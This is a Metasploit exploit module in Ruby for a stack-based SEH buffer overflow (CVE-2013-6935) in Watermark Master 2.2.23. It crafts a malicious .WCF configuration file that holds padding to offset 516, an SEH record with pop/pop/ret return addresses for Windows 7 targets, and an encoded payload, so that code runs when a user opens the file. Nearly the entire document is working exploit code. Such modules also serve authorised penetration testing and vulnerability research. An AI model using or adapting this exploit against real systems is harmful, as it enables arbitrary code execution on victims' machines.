##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Watermark Master Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when
          processing a specially crafted .WCF file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Watermark Master to open a malicious .WCF file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'metacom',  # Original discovery
          'Andrew Smith',  # MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '99226' ],
          [ 'CVE', '2013-6935'],
          [ 'EBD', '29327' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0a\x0d\x3c\x22\x26",
          'DisableNops' => false,
          'Space' => 7276
        },

      'Targets'    =>
        [
          [ 'Windows 7 x32 - Watermark Master 2.2.23',
            {
              'Ret'     =>  0x10015f2d, #p/p/r | CommonClassesMFC.dll
              'Offset'  =>  516
            }
          ],
          [ 'Windows 7 x64 - Watermark Master 2.2.23',
            {
              'Ret'     =>  0x1001329a, #p/p/r | CommonClassesMFC.dll
              'Offset'  =>  516
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Nov 1 2013',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class)

  end

  def exploit

    buffer = rand_text(target['Offset'])
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
    buffer << rand_text(18000 - buffer.length)

    file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Watermarks"/>
<cols name="Timelines"/>
<cols name="Streams">
<Property name="Stream">
<Value name="SourcePath" type="8" value="#{buffer}"/>
</Property>
</cols>
<cols name=""/>
</Property>
</cols>
</config>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(file)

  end
end

